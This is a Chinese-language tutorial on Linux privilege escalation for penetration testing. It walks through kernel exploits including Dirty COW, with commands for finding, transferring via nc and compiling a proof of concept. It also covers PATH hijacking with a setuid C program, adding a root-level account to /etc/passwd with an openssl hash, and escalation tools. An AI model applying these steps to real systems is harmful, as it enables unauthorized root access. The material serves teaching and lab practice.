长亭百川云 - 文章详情

linux提权方法 (下)

LULU

51

2024-07-10

渗透测试中的提权是指在获取到目标系统的低权限后,由于所配置的用户权限可能不是特权用户或用户权限较低,操作的局限性很大。渗透人员通过各种手段提升权限,以获取更高级别的访问权限或系统控制权。

如果要进行内网渗透就需要拿到系统权限或者超级管理员权限

高权限能做什么?

系统控制:安装、配置、卸载软件和服务。  
数据访问:读取、修改和删除所有文件和数据库。  
用户管理:创建、修改或删除用户账户和权限。  
系统配置:更改网络、安全和其他核心设置。  
硬件管理:控制硬件资源和设备。  
远程访问:远程登录和控制系统。  
安全策略:绕过或修改安全限制和防火墙规则。  
系统维护:执行更新、备份和恢复。  
监控和日志:查看系统和网络活动记录。  
执行脚本和命令:运行系统级脚本和命令。  
诊断和修复:检测和修复系统问题。  
计划任务:创建定时执行的任务或脚本。

1、内核提权

内核漏洞提权方法

1、收集内核版本信息

uname -a              #查看主机的内核信息  
uname -m              #查看系统内核架构(64位/32位)  
uname -r              #内核版本  
cat /etc/lsb-release  #当前系统发行版本  
cat /etc/issue        #查看发行版  
cat /proc/version     #内核信息

2、通过exploit-db
或searchsplopit
等工具搜索具体的内核版本信息

searchsploit Linux 4.4.0

基于收集到的信息 ,选择合适的提权脚本

3、利用python3 -m http.server
或wget
等服务将poc脚本传送至目标主机

查看脚本,需要进行编译

4、gcc编译

gcc 45010.c -o test

5、运行,拿到提权

./test

还可以利用linux-exploit-suggester、linux-exploit-suggester-2等工具对靶机的操作系统版本号自动查找相应提权脚本的工具

比如:linux-exploit-suggester工具

脏牛(DirtyCow)提权漏洞

脏牛的CVE编号是CVE-2016-5195

脏牛(Dirty Cow)是Linux内核的一个提权漏洞,之所以叫Dirty Cow,Linux内核的内存子系统在处理写入复制(copy-on-write, cow)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限。

怎么确定是否存在脏牛漏洞呢?

通过 uname -a 命令来看:如果内核版本低于下面的版本说明还存在  
  
- Centos7 /RHEL7 3.10.0-327.36.3.el7  
- Cetnos6/RHEL6 2.6.32-642.6.2.el6  
- Ubuntu 16.10 4.8.0-26.28  
- Ubuntu 16.04 4.4.0-45.66  
- Ubuntu 14.04 3.13.0-100.147  
- Debian 8 3.16.36-1+deb8u2  
- Debian 7 3.2.82-1

提权利用

-    https://github.com/dirtycow/dirtycow.github.io  
-    https://github.com/gbonacini/CVE-2016-5195  
-    https://github.com/FireFart/dirtycow  
-    https://github.com/Rvn0xsy/reverse_dirty

准备脚本:https://github.com/gbonacini/CVE-2016-5195下载下来,然后复制到kali. 利用nc上传文件到靶机:先在靶机端进行监听:

nc -l 9528 > CVE-2016-5195-master.zip

然后在kali这边进行上传:

nc 192.168.111.24 9528 < CVE-2016-5195-master.zip

查看接收的文件:

然后解压进入文件夹进行编译:

直接执行这个文件:

直接切换,输入对应的密码:

提权成功!!!

2、环境变量提权

PATH
是Linux 和 Unix 操作系统中的环境变量,定义了操作系统搜索可执行文件的目录顺序。如果PATH包含可写目录,攻击者可以在这些目录中放置恶意可执行文件。

1、查看 PATH 环境变量的内容:

echo $PATH

默认情况下你会看到如下输出:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

2、寻找可写目录

攻击者首先需要找到PATH变量中包含的可写目录。一旦找到了可写目录,攻击者可以在该目录中创建一个恶意的可执行文件。

find / -writable 2>/dev/null

在找到可写目录中创建脚本demo.c,写入想执行的命令。可以是/bin/bash
或C语言等脚本

demo.c的脚本内容

#include<unistd.h>  
void main()  
{  
        setuid(0);  
        setgid(0);  
        system("ps");  
}

使用使用gcc编译demo.c文件

gcc demo.c -o shell

将demo.c赋予SUID权限

chomd u+s shell

3、给 PATH 添加自定义路径:

$ PATH=$PATH:可写目录(绝对路径)

4、进入提权阶段,通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

找到shell脚本,并运行,就可以提权。

3、明文root密码提权

利用/etc/passwd 、/etc/shadow 配置文件进行提权,主要是因为配置不当造成的提权。passwd是全用户可读,root可写的。shadow是仅root可读写。

首先普通用户在/etc/passwd文件中配置写的权限,添加一个新用户,通过修改x为一段已知的密码的hash值

新用户名:x:新用户ID:新组ID:用户注释:新用户主目录:登录 shell  
lulu:x:0:0:root:/root:/bin/bash   
用户名:lulu  
密码:x (x 代表密码 hash 被放在 /etc/shadow文件中)  
使用openssl生成一个hash,设置密码为admin  
openssl passwd -1 -salt lulu admin  
//-1为MD5加密算法,-salt指定盐值,后面为密码  
lulu:$1$lulu$qx4Kv0orRvbuvbZEK44Ji.:0:0:root:/root:/bin/bash

这个时候在/etc/passwd中生成了一个新的test用户,以及在/etc/shadow存储密码的hash 。

4、Linux提权工具

https://github.com/jidongdeatao/LinuxTest  
针对Linux操作系统的安全测试自动化工具(用于接口认证、鉴权、资产发现(端口扫描)、MySQL安全配置检查、敏感信息排查、密码复杂度、sudo提权检查)
https://github.com/rebootuser/LinEnum  
脚本本地Linux枚举和提权
https://github.com/mzet-/linux-exploit-suggester  
可以自动根据Linux操作系统的版本号查找相应的提权脚本,帮助检测给定Linux内核的安全缺陷
searchsploit :内核漏洞查询
GTFOBins: 一个数据库,列出了可以用于提权的Linux二进制文件
Traitor: 一个自动化提权工具,可以利用sudo权限、docker配置不当等漏洞进行提权

加下方wx,拉你一起进群学习

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2